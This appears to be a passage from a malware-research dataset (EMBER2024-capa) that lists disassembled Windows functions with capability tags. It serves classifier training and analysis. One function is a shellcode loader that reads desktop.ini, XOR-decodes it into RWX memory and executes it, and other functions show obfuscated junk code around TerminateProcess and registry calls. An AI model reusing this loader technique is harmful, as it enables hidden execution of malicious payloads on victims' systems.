joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100eb9a0
Capabilities:
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x101042d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 1
jl 0x100eb9fa
cmp eax, 0x1a
jg 0x100eb9fa
add eax, 0x40
mov word [ebp - 0xc], ax
push 0x3a
pop eax
mov word [ebp - 0xa], ax
xor eax, eax
mov word [ebp - 8], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x100eb9f3
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov ecx, eax
call fcn.10042889
jmp 0x100ebb89
xor eax, eax
jmp 0x100ebb8c
push ebx
push esi
push edi
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov ecx, dword [0x101042e0]
mov esi, eax
call fcn.100290c0
mov ecx, dword [0x101042e4]
xor edi, edi
mov dword [ebp - 0x10], eax
cmp ecx, 0xffffffff
je 0x100eba4a
call fcn.100290c0
mov ebx, eax
test ebx, ebx
je 0x100eba44
cmp ebx, 0xffffffff
jne 0x100ebaa9
mov ebx, edi
push esi
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetLastError]
test ebx, ebx
jne 0x100ebabc
mov ebx, 0x101049f8
jmp 0x100ebabf
mov ecx, dword [0x101042e4]
or edx, 0xffffffff
call fcn.1003b000
test eax, eax
je 0x100eba30
push 0x364
push 2
call sym.ucrtbase.dll__calloc_base
pop ecx
mov ebx, eax
pop ecx
mov ecx, dword [0x101042e4]
test ebx, ebx
jne 0x100eba80
xor edx, edx
call fcn.1003b000
push edi
call sym.ucrtbase.dll__free_base
pop ecx
jmp 0x100eba30
mov edx, ebx
call fcn.1003b000
test eax, eax
jne 0x100eba9b
mov ecx, dword [0x101042e4]
xor edx, edx
call fcn.1003b000
push ebx
jmp 0x100eba78
mov ecx, ebx
call fcn.1003e545
push edi
call sym.ucrtbase.dll__free_base
pop ecx
imul eax, dword [ebp - 0x10], 0x364
add eax, ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
jmp 0x100eba32
add ebx, 0x14
mov dword [ebx], 0xf
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov ecx, dword [0x101042e0]
mov esi, eax
call fcn.100290c0
mov ecx, dword [0x101042e4]
mov dword [ebp - 0x10], eax
cmp ecx, 0xffffffff
je 0x100ebafe
call fcn.100290c0
mov ebx, eax
test ebx, ebx
je 0x100ebaf8
cmp ebx, 0xffffffff
je 0x100ebb66
jmp 0x100ebb5d
mov ecx, dword [0x101042e4]
or edx, 0xffffffff
call fcn.1003b000
test eax, eax
je 0x100ebb66
push 0x364
push 2
call sym.ucrtbase.dll__calloc_base
pop ecx
mov ebx, eax
pop ecx
mov ecx, dword [0x101042e4]
test ebx, ebx
jne 0x100ebb34
xor edx, edx
call fcn.1003b000
push edi
call sym.ucrtbase.dll__free_base
pop ecx
jmp 0x100ebb66
mov edx, ebx
call fcn.1003b000
test eax, eax
jne 0x100ebb4f
mov ecx, dword [0x101042e4]
xor edx, edx
call fcn.1003b000
push ebx
jmp 0x100ebb2c
mov ecx, ebx
call fcn.1003e545
push edi
call sym.ucrtbase.dll__free_base
pop ecx
imul edi, dword [ebp - 0x10], 0x364
add edi, ebx
push esi
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetLastError]
test edi, edi
jne 0x100ebb78
mov edi, 0x101049f4
jmp 0x100ebb7b
add edi, 0x10
mov dword [edi], 0xd
call sym.ucrtbase.dll__invalid_parameter_noinfo
pop edi
pop esi
pop ebx
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10068820
leave
ret
Function at 0x100ebba0
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x101042d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x20a
xor ebx, ebx
lea eax, [ebp - 0x210]
push ebx
push eax
call sym.ucrtbase.dll__o_memset
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x105
call dword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetCurrentDirectoryW]
cmp eax, 0x104
ja 0x100ebbf6
lea ecx, [ebp - 0x210]
call fcn.100eb974
jmp 0x100ebd27
push esi
push edi
lea edi, [eax + 1]
push 2
push edi
call sym.ucrtbase.dll__calloc_base
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100ebc1b
push esi
push edi
call dword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetCurrentDirectoryW]
test eax, eax
jne 0x100ebd13
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov ecx, dword [0x101042e0]
mov edi, eax
call fcn.100290c0
mov ecx, dword [0x101042e4]
mov dword [ebp - 0x218], eax
cmp ecx, 0xffffffff
je 0x100ebc7c
call fcn.100290c0
test eax, eax
je 0x100ebc76
cmp eax, 0xffffffff
jne 0x100ebcf1
mov dword [ebp - 0x214], ebx
push edi
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetLastError]
mov eax, dword [ebp - 0x214]
test eax, eax
jne 0x100ebd08
mov eax, 0x101049f4
jmp 0x100ebd0b
mov ecx, dword [0x101042e4]
or edx, 0xffffffff
call fcn.1003b000
test eax, eax
je 0x100ebc51
push 0x364
push 2
call sym.ucrtbase.dll__calloc_base
mov dword [ebp - 0x214], eax
pop ecx
pop ecx
mov ecx, dword [0x101042e4]
test eax, eax
je 0x100ebcc6
mov edx, eax
call fcn.1003b000
test eax, eax
jne 0x100ebcd9
mov ecx, dword [0x101042e4]
xor edx, edx
call fcn.1003b000
push dword [ebp - 0x214]
jmp 0x100ebcce
xor edx, edx
call fcn.1003b000
push ebx
call sym.ucrtbase.dll__free_base
pop ecx
jmp 0x100ebc51
mov ecx, dword [ebp - 0x214]
call fcn.1003e545
push ebx
call sym.ucrtbase.dll__free_base
mov eax, dword [ebp - 0x214]
pop ecx
imul ecx, dword [ebp - 0x218], 0x364
add ecx, eax
mov dword [ebp - 0x214], ecx
jmp 0x100ebc57
add eax, 0x10
mov dword [eax], 0xc
jmp 0x100ebd1c
mov ecx, esi
call fcn.100eb974
mov ebx, eax
push esi
call sym.ucrtbase.dll__free_base
pop ecx
pop edi
mov eax, ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10068820
leave
ret
Function at 0x100ec84c
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x101042d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
cmp ecx, 0x1a
jbe 0x100ec9f5
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov ecx, dword [0x101042e0]
mov esi, eax
call fcn.100290c0
mov ecx, dword [0x101042e4]
xor edi, edi
mov dword [ebp - 0x10], eax
cmp ecx, 0xffffffff
je 0x100ec8b7
call fcn.100290c0
mov ebx, eax
test ebx, ebx
je 0x100ec8b1
cmp ebx, 0xffffffff
jne 0x100ec916
mov ebx, edi
push esi
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetLastError]
test ebx, ebx
jne 0x100ec929
mov ebx, 0x101049f8
jmp 0x100ec92c
mov ecx, dword [0x101042e4]
or edx, 0xffffffff
call fcn.1003b000
test eax, eax
je 0x100ec89d
push 0x364
push 2
call sym.ucrtbase.dll__calloc_base
pop ecx
mov ebx, eax
pop ecx
mov ecx, dword [0x101042e4]
test ebx, ebx
jne 0x100ec8ed
xor edx, edx
call fcn.1003b000
push edi
call sym.ucrtbase.dll__free_base
pop ecx
jmp 0x100ec89d
mov edx, ebx
call fcn.1003b000
test eax, eax
jne 0x100ec908
mov ecx, dword [0x101042e4]
xor edx, edx
call fcn.1003b000
push ebx
jmp 0x100ec8e5
mov ecx, ebx
call fcn.1003e545
push edi
call sym.ucrtbase.dll__free_base
pop ecx
imul eax, dword [ebp - 0x10], 0x364
add eax, ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
jmp 0x100ec89f
add ebx, 0x14
mov dword [ebx], 0xf
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov ecx, dword [0x101042e0]
mov esi, eax
call fcn.100290c0
mov ecx, dword [0x101042e4]
mov dword [ebp - 0x10], eax
cmp ecx, 0xffffffff
je 0x100ec96b
call fcn.100290c0
mov ebx, eax
test ebx, ebx
je 0x100ec965
cmp ebx, 0xffffffff
je 0x100ec9d3
jmp 0x100ec9ca
mov ecx, dword [0x101042e4]
or edx, 0xffffffff
call fcn.1003b000
test eax, eax
je 0x100ec9d3
push 0x364
push 2
call sym.ucrtbase.dll__calloc_base
pop ecx
mov ebx, eax
pop ecx
mov ecx, dword [0x101042e4]
test ebx, ebx
jne 0x100ec9a1
xor edx, edx
call fcn.1003b000
push edi
call sym.ucrtbase.dll__free_base
pop ecx
jmp 0x100ec9d3
mov edx, ebx
call fcn.1003b000
test eax, eax
jne 0x100ec9bc
mov ecx, dword [0x101042e4]
xor edx, edx
call fcn.1003b000
push ebx
jmp 0x100ec999
mov ecx, ebx
call fcn.1003e545
push edi
call sym.ucrtbase.dll__free_base
pop ecx
imul edi, dword [ebp - 0x10], 0x364
add edi, ebx
push esi
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetLastError]
test edi, edi
jne 0x100ec9e5
mov edi, 0x101049f4
jmp 0x100ec9e8
add edi, 0x10
mov dword [edi], 0xd
call sym.ucrtbase.dll__invalid_parameter_noinfo
jmp 0x100eca2c
test ecx, ecx
jne 0x100ec9fe
xor eax, eax
inc eax
jmp 0x100eca2e
push 0x3a
lea eax, [ecx + 0x40]
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetDriveTypeW]
test eax, eax
je 0x100eca2c
cmp eax, 1
jne 0x100ec9f9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10068820
leave
ret
Function at 0x100ecb10
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x101042d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 4
pop eax
call fcn.10068e90
mov eax, esp
lea ecx, [ebp - 0x30]
push 0x1c
push ecx
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.api_ms_win_core_memory_l1_1_0.dll_VirtualQuery]
test eax, eax
je 0x100ecbc0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.api_ms_win_core_sysinfo_l1_1_0.dll_GetSystemInfo]
mov ebx, dword [ebp - 0x50]
lea ecx, [ebp - 8]
xor esi, esi
mov dword [ebp - 8], esi
call fcn.100982a1
test eax, eax
je 0x100ecb6f
cmp dword [ebp - 8], esi
jbe 0x100ecb6f
mov esi, dword [ebp - 8]
dec esi
mov edi, ebx
neg edi
add esi, ebx
and esi, edi
je 0x100ecb7c
add esi, ebx
lea eax, [ebx + ebx]
cmp esi, eax
jae 0x100ecb85
mov esi, eax
and edi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
sub edi, esi
add eax, ebx
cmp edi, eax
jb 0x100ecbc0
push 4
push 0x1000
push esi
push edi
call dword [sym.imp.api_ms_win_core_memory_l1_1_0.dll_VirtualAlloc]
test eax, eax
je 0x100ecbc0
lea eax, [ebp - 0x14]
push eax
push 0x104
push esi
push edi
call dword [sym.imp.api_ms_win_core_memory_l1_1_0.dll_VirtualProtect]
test eax, eax
je 0x100ecbc0
xor eax, eax
inc eax
jmp 0x100ecbc2
xor eax, eax
lea esp, [ebp - 0x60]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10068820
leave
ret

Function at 0x100ed247
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, edx
push edi
mov edi, ecx
test esi, esi
jns 0x100ed261
mov edx, esi
call fcn.100ecf20
push dword [ebp + 8]
mov edx, ebx
mov ecx, edi
call fcn.100ed28a
pop ecx
test esi, esi
jle 0x100ed27f
mov ecx, edi
mov edx, esi
pop edi
pop esi
pop ebx
pop ebp
jmp fcn.100ecf20
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x40a54a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
movzx eax, byte [ebp + 8]
test eax, eax
je 0x40a663
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x2c], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x40a5de
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x40a5c2
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x40a5c0
push 0x6106
push 0x5b16
push 0
call fcn.0040bfd7
add esp, 0xc
jmp 0x40a5d9
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
jmp 0x40a661
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x34]
movzx eax, byte [eax]
test eax, eax
je 0x40a61f
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
movzx eax, byte [eax]
test eax, eax
je 0x40a61d
push 0x1992
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x40a661
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [eax], 2
jmp 0x40a641
mov eax, dword [ebp - 8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jl 0x40a661
push 0x4c11
push 0x8ea
push 1
push 0
call fcn.0041f789
add esp, 0x10
jmp 0x40a636
jmp 0x40a674
push 1
push 0
push 0xb87
call fcn.0041545a
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x40c4b3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x40c53d
lea eax, [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x40c526
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x40c51c
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x40c51a
push 1
push 0
call fcn.0040decd
pop ecx
pop ecx
jmp 0x40c524
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
jmp 0x40c53b
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
push 0
push dword [ebp - 0x24]
push 0
call fcn.0040b075
add esp, 0xc
jmp 0x40c572
lea eax, [ebp + 8]
mov dword [ebp - 0x28], eax
push 0x2b1f
push 0x19af
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
push eax
push 0
push 0x2ae4
push 0x69f7
push 0x31e2
push 0x2aed
call fcn.0040ee19
add esp, 0x20
mov esp, ebp
pop ebp
ret

Function at 0x40e35b
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x40e381
push 0x69c8
push 0x37a4
push 0
push 1
call fcn.0041404a
add esp, 0x10
jmp 0x40e3dd
lea eax, [ebp + 0x10]
mov dword [ebp - 4], eax
lea eax, [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x40e3d2
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x40e3ca
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xd26ec17e
jmp 0x40e3d0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
jmp 0x40e3dd
push 0
push 0
call fcn.0040a1f6
pop ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x40f0aa
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x40f0cb
push 0x6f6c
push 1
call fcn.0040f17d
pop ecx
pop ecx
jmp 0x40f179
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x40f12e
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x40f113
push 0
push 0x22e3
push 0
push 0x1138
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
jmp 0x40f12c
push 0x12c5
push 0x1d18
push 0
push 0xad3
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
jmp 0x40f179
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x40f16a
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
mov eax, dword [eax]
add eax, dword [ecx + 4]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov dword [ecx], eax
jmp 0x40f179
push 0
push 0x2103
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esp, ebp
pop ebp
ret
Function at 0x4109d2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
movzx eax, byte [ebp + 0x28]
test eax, eax
je 0x410ac6
lea eax, [ebp + 0x24]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x410ab9
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x410aa2
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x50]
sub ecx, dword [edx]
cmp dword [eax], ecx
je 0x410a94
mov dword [ebp - 4], 1
jmp 0x410a98
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
jmp 0x410ab7
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
mov dword [eax], 0x93d7f28
jmp 0x410ac4
push 1
push 0
call fcn.00408e60
pop ecx
pop ecx
jmp 0x410b13
lea eax, [ebp + 0x10]
mov dword [ebp - 0x64], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x64]
movzx eax, byte [eax]
test eax, eax
je 0x410aec
push 0x76c7
push 0
call fcn.0041af5a
pop ecx
pop ecx
jmp 0x410b13
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
movzx eax, byte [eax]
test eax, eax
je 0x410b0b
push 0x1992
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x410b13
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov esp, ebp
pop ebp
ret
Function at 0x411733
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x4117b8
lea eax, [ebp + 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x41178f
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x41177d
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x41177b
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x41178d
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
jmp 0x4117b6
push 0xbe6
push 0x3d0c
push 0
push 0x7edf
push 0x3f24
push 1
push 0
push 0x790e
call fcn.0040a39c
add esp, 0x20
jmp 0x4117f5
lea eax, [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x4117d8
push 0
call fcn.004089d7
pop ecx
jmp 0x4117f5
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
push 0x5d78
push 0
push dword [ebp - 0x1c]
push 0x7c67
call fcn.0040e4f2
add esp, 0x10
mov esp, ebp
pop ebp
ret

Function at 0x411f70
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
movzx eax, byte [ebp + 0x24]
test eax, eax
je 0x412006
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x411fbe
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push 1
push 0x6e2d
call fcn.00412033
add esp, 0xc
jmp 0x412004
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x411ffa
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x411ff8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
jmp 0x412004
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x41202f
lea eax, [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
push eax
push dword [ebp - 0x30]
push 1
call fcn.0040bffd
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x41207c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x412177
lea eax, [ebp + 0x14]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x41215f
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x4120f5
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x4120f3
push 0x1534
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
jmp 0x41215d
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x412117
mov eax, dword [ebp - 4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0xffffffec
jg 0x41215d
push 0x3d7e
push 1
push 0
push 1
push 0
